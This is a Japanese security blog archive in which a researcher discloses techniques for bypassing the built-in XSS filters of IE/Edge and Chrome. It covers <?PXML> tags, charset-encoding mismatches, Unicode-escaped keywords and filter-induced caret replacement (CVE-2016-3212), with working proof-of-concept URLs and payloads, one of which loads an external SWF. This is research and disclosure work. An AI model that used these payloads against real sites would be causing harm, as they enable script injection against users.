ラベル XSSFilter の投稿を表示しています。 すべての投稿を表示
ラベル XSSFilter の投稿を表示しています。 すべての投稿を表示

2017/05/22

ブラウザのXSS保護機能をバイパスする(13)

前回の記事、間違えて14回目と書きましたが、13回目でした。
飛ばしてしまった13回目を今からここに書いて埋めることにします!

今日はIEの知られざるHTMLタグについて紹介しようと思います。このタグを利用すると、限られた条件でフィルターのバイパスにも利用できます。

今回利用するのは、<?PXML>というタグです。
皆さん、<?PXML>タグをご存知ですか?僕はよく知りません!
このタグの意味は全く分からなくて、いくら調べても全く出てこないほどで、誰か一体何なのか知っている人がいたら教えてほしいくらいですが、とりあえずここに自分が知っている限りのことを書いていきます。

まず、自分はこのタグを印刷プレビューの脆弱性を探している時に発見しました。様々なページを印刷プレビューして、攻撃可能なプレビュー結果が出ないかみていたときのことです。XMLのパースエラーを表示するページを印刷プレビューしたときに生成されるHTMLに奇妙なタグが含まれていることに気が付きました。
XMLのパースエラーのページは、古いドキュメントモードのページから、不正なXMLのページをフレームに埋め込むと現れます。こんなかんじです:

https://l0.cm/bypass/ie_pxml_printpreview.html


エラー情報を表示する程度のページなら、もっと普通の条件で出てきてもいい気がしますが、とりあえずこれで確実に出ます。
さて、このページを印刷プレビューしてみましょう。プレビューしたら、プレビューした状態をそのままに、%Temp%\Low を開いて、プレビューされたときに生成されるHTMLを確認します。こんなかんじの.htmファイルが発見できるはずです:



2つありますが、片方はトップのフレーム、もう一方はフレームの中のHTMLでしょう。フレームの中のHTMLの方をみてみましょう。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><?PXML />
<HTML:HTML
__IE_DisplayURL="https://l0.cm/bypass/ie_pxml_printpreview.xml"><HTML:HEAD><HTML:META
content="IE=5.0000" http-equiv="X-UA-Compatible">
<HTML:META content="text/html; charset=unicode" http-equiv=Content-Type>
<HTML:BASE HREF="https://l0.cm/bypass/ie_pxml_printpreview.xml">
<HTML:STYLE> HTML { font-family : "Times New Roman" } </HTML:STYLE></HTML:HEAD>
<HTML:BODY>
<HTML:TABLE width=400>
  <HTML:P style="FONT: 13pt/15pt verdana">XML ページを表示できません
  <HTML:P style="FONT: 8pt/11pt verdana">スタイルシートを使用した XML
  入力は表示できません。エラーを訂正してください。 <HTML:A href="javascript:location.reload()"
  target=_self>[更新]</HTML:A> ボタンをクリックするか、または後でやり直してください。
  <HTML:HR>
  <HTML:P style="FONT: bold 8pt/11pt verdana">ドキュメントの最上位では無効です。リソース
  'https://l0.cm/bypass/ie_pxml_printpreview.xml' の実行エラーです。ライン 1、位置 1 </HTML:P><HTML:PRE style="FONT-SIZE: 10pt; FONT-VARIANT: normal; FONT-WEIGHT: normal; FONT-STYLE: normal; LINE-HEIGHT: 12pt"><HTML:FONT color=blue>AAAAA
^</HTML:FONT></HTML:PRE></HTML:P>
  <HTML:TBODY></HTML:TBODY></HTML:TABLE></HTML:BODY></HTML:HTML>
出た!!何なんでしょう?PXMLのP = Preview のPとかなんでしょうか?
<?PXML>のほかに、HTML:というプレフィックスがついたタグも確認でき、PXMLがあると、HTML:というプレフィックスがついたタグをHTMLタグとして認識させる効果があるようにみえます。

このタグをIEで普通に利用できるか確認してみます。次のように、html:というプレフィックスがついたHTMLタグが利用できるかみてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E
<?PXML><html:h1>Hello PXML!</html:h1>
動かない? ドキュメントモードを下げてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9



今度こそh1タグが有効になりましたね!どうやらこのタグはIE9以下のドキュメントモードで機能するようです。

このタグはページの先頭以外でも使うことができるようです。ただし、どうやら、<?PXML>よりも前に<が3つ以上出現した段階で機能しなくなるという制約があるようです。

以下のように、<が2つ出現した段階ではまだ動きます。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<< <?PXML><html:h1>Hello PXML!</html:h1>
しかし、<が3つ出現すると動作しなくなります。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<<< <?PXML><html:h1>Hello PXML!</html:h1>
不思議な動作ですね…。ここまでがこのタグに関してわかっていることです。

わからないことだらけですが、とにかく、これをXSSフィルターのバイパスに利用してみましょう。方法は簡単で、<?PXML>を書いて、あとはhtml:プレフィックスのついたスクリプトタグを書くだけです。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
<?PXML><html:script>alert(1)</html:script>
プレフィックスのおかげで、<sc{r}ipt.*?>という遮断条件をバイパスできます。

このバイパスを利用できる場合の条件をまとめると以下のようになります。
  1. 単純な反射型XSSがある
  2. 注入点までに3つ以上の<がでてこない
  3. そのページのドキュメントモードが9以下に設定されているか、フレームに埋め込むなどで低いドキュメントモードを設定できる
条件は厳しいですが、完全な先頭でなくてもいいという点で、先頭必須のバイパスよりも優れています。

以上、IEの知られざるHTMLタグとそれを使ったバイパスについて紹介しました。
<?PXML>の詳細について知っている人がいたらぜひコメントやTwitter等で教えてください!それではまた!

ブラウザのXSS保護機能をバイパスする(14)

前回、XSSAuditorのバイパスのチートシートを作ったという記事を書きましたが、さきほど、IE/EdgeのXSSフィルターのバイパスも公開しました。

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC

この公開に合わせて、今日は強力なIE/EdgeのXSSフィルターのバイパスを1つ紹介しようと思います。

このバイパスはPOST経由以外の全てのReflected XSSで使えます。1年以上前に以下のようなツイートをしましたが、今から紹介するのがこのとき発見したベクターです。
ツイートした時点ではPOSTで使えないことに気付いていなかったので、all contextsは言い過ぎでしたが、いずれにしても強力なベクターだと思います。

まずはPoCからみてみましょう!普通にテキスト部でXSSする場合と、属性だけが記述できるケースのXSSで例を示します。IE/Edgeでアクセスすると、スクリプトが動作することを確認できるはずです。

https://l0.cm/bypass/ie_hz_text.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=<script/警/-alert(1)<\/script/警"
</script>

属性値のみでXSSする場合はこちら:
https://l0.cm/bypass/ie_hz_attribute.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/attribute?q=\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4/-alert(1)//"
</script>
なぜ動作したかは、IEがどんなクエリ文字列を送信しているかに注目するとみえてきます。

IEはナビゲーション時、ナビゲーション前のページに設定された文字コードでクエリ文字列をエンコードしてリクエストを送信します。
例えば、次のようなページから、「あ」という文字列を送信しようとするとき、「あ」はHZ-GB-2312というエンコーディングでエンコードされて送信されます。

https://l0.cm/bypass/ie_hz_example.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=あa";
</script>
Fiddlerを見ても、以下のように、UTF-8の「あ」(0xE38182) でなく、HZ-GB-2312の「あ」である~{$"~}が送信されていることがわかります。


この動作を踏まえて、バイパスが起きたケースをもう一度見てみましょう。テキスト部のバイパスでは、<script/警/-alert(1)</script/警という文字列をリダイレクト先に与えています。「警」の字はHZ-GB-2312において、~{>/~}で表されます。したがって、ここでは<script/~{>/~}/-alert(1)</script/~{>/という文字列がクエリを介して送信されており、実際にはスクリプトタグを作成するようなバイト列が送信されていたということがわかります。

XSSフィルターは普通なら<sc{r}ipt.*?>という遮断条件に従ってスクリプトタグに反応しますが、ここではなぜか反応しません。これはおそらく、XSSフィルターが、実際に送信されるリクエストではなく、<script/警という文字列を遮断条件と誤って照らし合わせているためではないかと思います。

属性の場合も同様に、\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4に反応文字列である"onmouseover=を隠しています。このように、実際に送信されるリクエストと、エンコードされた文字列の不一致を起こすことで、XSSフィルターをバイパスすることができます!

その他のエンコーディングでも、同じように不一致を起こせばバイパスが可能です。

ISO-2022-JPを使った例がこちら:
https://l0.cm/bypass/ie_iso2022jp_text.html
https://l0.cm/bypass/ie_iso2022jp_attribute.html

x-chinese-cnsという文字コードを使った例がこちら:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

他にもいろいろな文字コードのバリエーションが考えられるんではないかと思います。

このバイパスの発見当時は、バイパスはただのバグだとしても、特別な条件もなしに様々なコンテキストで使えるこれは修正を待ってから公開しようと考えていましたが、報告後、1年以上経っても変更が加えられなかったあたり、Microsoftはバイパスをそれほど問題にはしていないみたいです。いずれにしても、XSSフィルターはXSSに対する完全な防御ではなく、サイト側の根本的なXSS対策は必須であるということは常に変わりません。実際のバイパスを通して、その思いを強めてもらえれば。それでは!

2017/05/07

Browser's XSS Filter Bypass Cheat Sheet

ブラウザのXSSフィルターのバイパスをまとめたページを作りました。

こちらです:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。

このページを作った理由は、Shibuya.XSS techtalk #9 というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な西村さんが、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。

脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。

もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。

中でも同一ドメインのリソースを使ってバイパスする手法は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。

簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。

それでは、どうぞご利用ください。

2016/12/07

ブラウザのXSS保護機能をバイパスする(11)

勝手な使命感に駆られて書く脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事、3回目の登場です。

今日も相変わらずXSSフィルターをバイパスします。
今回は先月(2016年11月)の更新で塞がれたIEのXSSフィルターのバイパスを簡単に紹介します。

=================================
追記:
Windows 8.1だとまだ動くのを確認しました。
どうも、塞がれたのはWindows 10だけみたいです。ご活用ください!
=================================

前回の記事に引き続き、今回も文字列リテラルで起こるバイパスです。
前回は任意のスクリプト実行とまではいかない部分的なバイパスでしたが、今回のは完全かつとてもシンプルに空いていたバイパスです。こちらです。

https://vulnerabledoma.in/xss_js?q="i\u006E+alert(1)// (X-XSS-Protection:0 にして試すにはこちら)
<script>var q=""i\u006E alert(1)//"</script>
inをUnicodeエスケープして、i\u006Eと表記することでバイパスできていました。

モダンなブラウザでは、予約語をUnicodeエスケープすることは禁止されていますが、 IEでは禁止されておらず、inと同じ扱いになります。

この件は、@Jxck_さん主催の次世代Webカンファレンスに参加中、一週間後に迫るCODE BLUEの資料を、最初に作ったものが諸事情で公開できなくなってしまっため、一からいそいそと作っていたとき、突然気付いたものでした。その時のツイートです:

XSSフィルターの正規表現を眺めていたところ、他の文字列リテラル中で起きる禁止文字列はUnicodeエスケープが一緒に記述されているのに対し、inだけUnicodeエスケープが無いことに気付き、試したところすんなり動いたというかんじでした。

ちなみに、MicrosoftはこれまでXSSフィルターのバイパスを脆弱性という扱いで修正していましたが、最近方針の変更があり、今後はセキュリティ修正扱いにしないことにしたとのことで、11月の更新プログラムを適用するとバイパスは塞がれるものの、アドバイザリの中ではこの変更については説明されていません。なお、謝辞には僕の名前がありますが、これら(CVE-2016-7227 と CVE-2016-7239)はバイパスとは別のバグです。こちらもまた機会を改めて紹介したいと思います。

バイパスは脆弱性ではないというのはその通りだと思いますし、もともとそう考えていたので、いちいち許可をとらずにブログに書いていましたが、今後、報告中のものも含め公開してもよいという回答を正式に頂いたので、また遠慮なくブログに書かせてもらいます。

以上、脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事でした。
明日も書く人が決まっていないみたいなので、どなたか書いてください!

2016/12/05

ブラウザのXSS保護機能をバイパスする(10)

脆弱性"&'<<>\ Advent Calendar 2016 の5日目の記事です!

今朝、ブラウザで動作を試しながらECMA-262の仕様を読んでいたところ、IEの奇妙な動作を発見し、それがXSSフィルターのバイパスに使えることがわかりました。
完全なバイパスではありませんが、興味深いものなので共有します。

XSSフィルターは、単純な反射型のXSSに加えて、文字列リテラル中で起こるXSSも防止しようとします。自分の過去の資料で、文字列リテラルの文脈で遮断される文字列の一部を紹介していますので、以下に貼り付けます。



今回注目したいのがこの中のvalueOf=です。この資料をまとめたとき、valueOf=をなぜ遮断する必要があるのかよくわかりませんでした。

確かに、あらかじめ定義された関数であれば、次のような形式で、フィルターが反応する()を使わずに関数呼び出しができます。

https://vulnerabledoma.in/xss_js?q="%3BvalueOf=alert%3B~window//&xss=0
";valueOf=alert;~window//
ただ、このくらい不自由な呼び出しは、以下のような、イベントへの代入が遮断されないことから、許容されていると考えていました。

https://vulnerabledoma.in/xss_js?q="%3Bonload=alert//
";onload=alert//
ちなみに、このvalueOf=は、Eduardoさん・Davidさん発見の以下のベクタとは無関係です。

https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf#page=14
"+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}//
ご覧の通り、お二人のベクタは=を使っていません。自分の資料の中には書いていないのですが、これらは、";{valueOf:";{toString:といった文字列を遮断する別の正規表現が存在しており、そっちで遮断されます。

試行錯誤した結果、valueOf=の場合は、イベントへの代入の場合よりも呼び出しが許される関数が多く、例えば、特定要素へのclickなどのメソッド呼び出しがIE8以下のドキュメントモードのページに対してできるようなので、このあたりの手法を止めたいのかも、という風に勝手に解釈しました。(本当のところを知っている人はぜひ教えてください!)

以下のページにIEでアクセスして、"go"ボタンを押すと、"important action"というボタンがvalueOf=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/valueOf.html

このとき、valueOf=は遮断して、なぜtoString=は遮断しないのだろうと思ったのですが、toStringに変えて試してみると動きませんでした。普通なら動くべきだと思いますが、IEならそういうおかしなことも起こるだろうと考えて今日まであまり気にしないできました。

さて、ここから、今回のバイパスの話を始めます。
今朝、IEでも、toStringへの代入からclickなどのメソッド呼び出しができることを発見しました。

なんと、IEはtoString=では代入に失敗するのに、var toString=だと成功するようなのです。こうすると、alertが呼ばれます。
var toString=alert;~window

これを利用して、valueOfと同じ要領でclickを呼び出そうとすると、うまくいきました。
以下にIEでアクセスして、goボタンを押すと、 "important action"というボタンがvar toString=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/toString.html

ほとんど使う場面はないかと思いますが、せっかくtoString=の面白い動作に気付いたので、部分的でもフィルターのバイパスに繋がることを証明してみました。valueOf=を止めている理由の推測が正しければ、こちらも本来なら遮断したい動作ではないかと思います。

以上です!

脆弱性"&'<<>\ Advent Calendar 2016、明日は…、まだ登録されてないっぽいです!誰か書いてください!

2016/12/01

ブラウザのXSS保護機能をバイパスする(9)

脆弱性"&'<<>\ Advent Calendar 2016 の1日目の記事です!

毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。

Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ \t]+?:)?a.*?hr{e}f}

{<([^ \t]+?:)?OPTION[ /+\t].*?va{l}ue[ /+\t]*=}

{<([^ \t]+?:)?TEXTA{R}EA[ /+\t>]}

{<([^ \t]+?:)?BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}

[...]
このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。

https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。

ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?

おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。script src=の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=が動作してしまうという寸法です。

なお、遮断自体は行ったことになるため、X-XSS-Protection:1;mode=blockのページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。

以上、ご活用ください!
脆弱性"&'<<>\ Advent Calendar 2016 、明日は @kusano_k さんです!

2016/07/15

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.#に置換させることで、<script>src値や<link>href値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;a^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

2015/12/17

IE/EdgeのXSSフィルターを利用したXSS

English version: http://mksben.l0.cm/2015/12/xxn.html
------------------------------------------------
2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。

2015 年 12 月のマイクロソフト セキュリティ情報の概要
https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx

修正された問題は、2015年10月に行われたセキュリティカンファレンスのCODE BLUEで詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。



また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。

http://l0.cm/xxn/

詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。

1. style属性の遮断を悪用するパターン

次のような、style属性の追加によるXSSの遮断を、


</style>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。


Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的にmode=blockの動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、X-XSS-Protection:1の動作とはなんだったのか…、という気がします。
ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまずmode=blockにすることで回避したらどうかとMSに提案していました。)

2. 文字列リテラルの遮断を悪用するパターン その1( <script src=***></script> を利用)

次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、";document.body.innerHTML="攻撃文字列"//のような形で攻撃します)の遮断を利用し、


スクリプトタグのsrcの値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。

どう修正されたかは、次の手法でまとめて紹介します。

3. 文字列リテラルの遮断を悪用するパターン その2( <link rel=stylesheet href=***> を利用)

同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。
今度は、<link>タグのhrefの相対パスの.を利用し、攻撃に繋げるという方法です。


2と3の問題のMicrosoftの修正にはびっくりしました。
プロパティアクセス後の代入の遮断時だけ、.を、これまでの#の代わりに、^(0x5E)に置換するよう変更したのです!なんじゃそりゃ~(^_^)!
確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。

JavaScriptにおいて、^は演算子です。document.locationdocument^locationに変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる.をうまいこと^に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、.が JavaScriptの正規表現に含まれていたら、そしてそれが^に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。

このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。

報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。

もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。

開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、X-XSS-Protection:1;mode=blockX-XSS-Protection:0のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。

2015/09/29

ブラウザのXSS保護機能をバイパスする(7)

English version: http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html
--------------------------------------------------------

HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、~[0x0A]~{を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。
この手法はページのContent-Typeレスポンスヘッダで文字コードが指定されていない時限定で使えます。

バイパス 1


 以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a


XSSフィルターは、Content-Typeレスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)

属性を区切る文字がくるところに~[0x0A]を置くと遮断に失敗します。

charsetがContent-Typeレスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


ただし、Content-Typeレスポンスヘッダでなくmetaタグだけでcharsetを指定した場合だとまだ動きます。
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

バイパス 2


以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、click()が呼び出されることが確認できます。(※click()が呼び出される側はドキュメントモードが古くないとエラーになります。)

http://l0.cm/xssfilter_hz_poc.html


次のようなコードからclick()が呼び出されています。
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

これも通常なら、以下のように";{valueOf:という文字列で遮断が起こるのですが、

http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:

~{というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。

valueOfの代わりにtoStringも使えます。

http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>
この2つの手法、まず";~{valueOf:}//がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみてもmshtml.dll内の正規表現には合致するのにおかしいと思って、みていくと遮断されないのが~{が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。

